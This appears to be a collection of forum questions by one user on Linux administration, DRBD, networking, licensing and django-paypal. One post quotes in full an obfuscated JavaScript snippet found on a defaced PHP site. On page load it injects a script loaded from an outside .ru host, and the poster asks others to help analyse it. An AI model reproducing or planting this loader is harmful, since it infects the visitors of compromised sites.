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Can I provision half a core as a virtual CPU?

- by ramdaz

I am virtualization newbie. Please advise on these questions. Please note using a commercial VM software like Citrix or VMware is not a choice for me. I have at my disposal a couple of 2x 4 core servers with 32 GB RAM. I need to create 16 VMs on each server to test some web applications. Can I provision half a core as a virtual CPU for each VM? To my best knowledge I can't do so on Xen. Is it possible on KVM or some other free open source VM solution? If it's not possible to assign half a core, how do I ensure that uniform processing power is available for all VMs? Since the job is to create separate instances for hosting 16 web apps in a physical server, do you recommend setting up a private cloud using Ubuntu Enterprise Cloud as a better option? Is there HA solution under KVM, like Remus for Xen?

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Calculate data transferred in a local LAN

- by ramdaz

How do you calculate the data flown between a computer and the gateway computer. I have a Linux router/gateway running IP Tables which routes internet traffic in a LAN. I have individual users with IP/MAC Address mapped who access Interet through the gateway computer. I would like to find out the traffic utilized by individual users. Is it possible for us to find out what kind of traffic was HTTP, SMTP, FTP etc. Is it also possible to pool the information on hourly basis, and get specific info so that I can store information in a database? I have heard of IP Accounting? Is that the right way

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DRBD not syncing between my nodes when IP is reset

- by ramdaz

I am trying to setup DRBD by following the article at http://www.howtoforge.com/setting-up-network-raid1-with-drbd-on-ubuntu-11.10-p2 I am using Ubuntu 10.04 DRBD - 8.3.11 In the first run I had everything working perfectly and when shifting the systems to a production environment I decided to restart the Meta Data creation part and start from scratch. The IPs had changed entirely in the production environment. Issuing drdbadm create-md r0 in both the servers runs successfully. But when I do "drbdadm -- --overwrite-data-of-peer primary all" on the primary it fails to start the re sync. My config file is as given below resource r0 { protocol C; syncer { rate 50M; } startup { wfc-timeout 15; degr-wfc-timeout 60; } net { cram-hmac-alg sha1; shared-secret "aklsadkjlhdbskjndsf8738734jkfkjfkjf"; } on primaryds { device /dev/drbd0; disk /dev/md2; address 172.16.7.1:7788; meta-disk internal; } on secondaryds { device /dev/drbd0; disk /dev/md2; address 172.16.7.3:7788; meta-disk internal; } } Status on primary root at primaryds:~# cat /proc/drbd version: 8.3.7 (api:88/proto:86-91) GIT-hash: ea9e28dbff98e331a62bcbcc63a6135808fe2917 build by root at primaryds, 2012-05-12 15:08:01 0: cs:WFBitMapS ro:Primary/Secondary ds:UpToDate/Inconsistent C r---- ns:0 nr:0 dw:0 dr:200 al:0 bm:0 lo:0 pe:0 ua:0 ap:0 ep:1 wo:b oos:5690352828 Status on secondary root at secondaryds:/etc/drbd.d# cat /proc/drbd version: 8.3.7 (api:88/proto:86-91) GIT-hash: ea9e28dbff98e331a62bcbcc63a6135808fe2917 build by root at secondaryds, 2012-05-12 15:25:25 0: cs:WFBitMapT ro:Secondary/Primary ds:Inconsistent/UpToDate C r---- ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0 ep:1 wo:b oos:5690352828 Log of Primary May 30 13:42:23 primaryds kernel: [ 1584.057076] block drbd0: role( Secondary -> Primary ) disk( Inconsistent -> UpToDate ) May 30 13:42:23 primaryds kernel: [ 1584.086264] block drbd0: Forced to consider local data as UpToDate! May 30 13:42:23 primaryds kernel: [ 1584.086303] block drbd0: Creating new current UUID May 30 13:42:26 primaryds kernel: [ 1586.405551] block drbd0: drbd_sync_handshake: May 30 13:42:26 primaryds kernel: [ 1586.405564] block drbd0: self E8A075F378173D4B:0000000000000004:0000000000000000:0000000000000000 bits:1422588207 flags:0 May 30 13:42:26 primaryds kernel: [ 1586.405574] block drbd0: peer 0000000000000004:0000000000000000:0000000000000000:0000000000000000 bits:1422588207 flags:0 May 30 13:42:26 primaryds kernel: [ 1586.405582] block drbd0: uuid_compare()=2 by rule 30 May 30 13:42:26 primaryds kernel: [ 1586.405587] block drbd0: Becoming sync source due to disk states. May 30 13:42:26 primaryds kernel: [ 1586.405592] block drbd0: Writing the whole bitmap, full sync required after drbd_sync_handshake. May 30 13:42:27 primaryds kernel: [ 1588.171638] block drbd0: 5427 GB (1422588207 bits) marked out-of-sync by on disk bit-map. May 30 13:42:27 primaryds kernel: [ 1588.172769] block drbd0: conn( Connected -> WFBitMapS ) Log in Secondary May 30 13:42:24 secondaryds kernel: [ 1563.304894] block drbd0: peer( Secondary - Primary ) pdsk( Inconsistent - UpToDate ) May 30 13:42:24 secondaryds kernel: [ 1563.339674] block drbd0: drbd_sync_handshake: May 30 13:42:24 secondaryds kernel: [ 1563.339685] block drbd0: self 0000000000000004:0000000000000000:0000000000000000:0000000000000000 bits:1422588207 flags:0 May 30 13:42:24 secondaryds kernel: [ 1563.339695] block drbd0: peer E8A075F378173D4B:0000000000000004:0000000000000000:0000000000000000 bits:1422588207 flags:0 May 30 13:42:24 secondaryds kernel: [ 1563.339703] block drbd0: uuid_compare()=-2 by rule 20 May 30 13:42:24 secondaryds kernel: [ 1563.339709] block drbd0: Becoming sync target due to disk states. May 30 13:42:24 secondaryds kernel: [ 1563.339714] block drbd0: Writing the whole bitmap, full sync required after drbd_sync_handshake. May 30 13:42:26 secondaryds kernel: [ 1565.652342] block drbd0: 5427 GB (1422588207 bits) marked out-of-sync by on disk bit-map. May 30 13:42:26 secondaryds kernel: [ 1565.652965] block drbd0: conn( Connected - WFBitMapT ) The serves are not responding once it reaches this stage. Tried redoing it couple of time but noting happens. Why could the resync not be taking place? I would like some advice? Directions?

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Is there a relation between MS SQL Server client licenses and performance

- by ramdaz

I have a customer who has an .Net application running on MS SQL Server 2008, supplied by our company as a part of Microsoft Small Business Server. He started off with around 5 users, and hence we had not sold any extra licenses. Today there are 40 users, and there's performance degradation. An MS Consultant said that to improve performance you need to buy extra licenses. Is there a relationship. I am anyway planning to force the customer to buy extra licenses on legal grounds. But will there be any appreciable performance difference too? Advice welcome

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single sign-on integrating SVN

- by ramdaz

I need to authenticate my windows users on to a Linux Server which will act as a primary authentication source. Users need to be authenticated and use their access to run SVN or Mercurial ( with something like Tortoise SVN client), or some versioning system. The versioning system need to be authenticated against the Linux Server's authentication source, and users need to use their Windows login username and password to server. I'd have attempted to do this normally on Samba. But is there a better choice? Also how do you create a roaming profile? That is anyone should be able to access their SVN from any PC as long as they use their right Windows username and password

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Python: how to calculate data received and send between two ipaddresses and ports [closed]

- by ramdaz

I guess it's socket programming. But I have never done socket programming expect for running the tutorial examples while learning Python. I need some more ideas to implement this. What I specifically need is to run a monitoring program of a server which will poll or listen to traffic being exchange from different IPs across different popular ports. For example, how do I get data received and sent through port 80 of 192.168.1.10 and 192.168.1.1 ( which is the gateway). I checked out a number of ready made tools like MRTG, Bwmon, Ntop etc but since we are looking at doing some specific pattern studies, we need to do data capturing within the program. Idea is to monitor some popular ports and do a study of network traffic across some periods and compare them with some other data. We would like to figure a way to do all this with Python....

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Video streaming over multi display units

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We have to share video across around 4/8 terminals at a public facility where we need to display live video from within the facility, as well as display messages(advertisements), and also play videos(not live) which need to be controlled centrally from another location. We can do central location handling over Internet, over ssh. What we want to do is connect cameras to a computer, and use the computer to display over multiple display units. We need to do live titling if possible. Once the live local telecast which usually takes about an hour or two a day, we would like to play other videos locally off the PC server. Preferably everything should run off Linux, since budgets are very constrained.... Addendum -- Its not over WAN, it's over a local area. I prefer not using LAN, we would rather use co-axial cable if possible. The reason is if it's LAN, I need some kind of an Networking device, at least a thin client

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IPN delivery failed. HTTP error code 403: Forbidden

- by ramdaz

I am trying to test IPN. Working with django-paypal. What could be wrong. The URL is working. No errors otherwise... But when I test this, it says IPN delivery failed and error code is 403,

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What does this script do? Is it malicious?

- by ramdaz

This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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integrating django-paypal

- by ramdaz

Hi I am trying to integrate Django-Paypal onto a site, where once the customer makes a payment I need to send a dynamic URL from which the user can download some specific information. I am registering all users to a URL which allows them to buy the document. The URL which can only be accessed by a registered user with a verified email ids using django-registration, allows the user to connect to paypal and make payment. How do I capture the signal and verify which user has made the payment for which product he/she is purchased, based on this information 1) I need to know two information, which user made the payment, and for which product did he or she make the payment? 2) Only if I have these information can I send the right UR:L by email. Any help appreciated. I am not very sure how django-signals work. What all details does payment_was_successful signal return? I am using IPN

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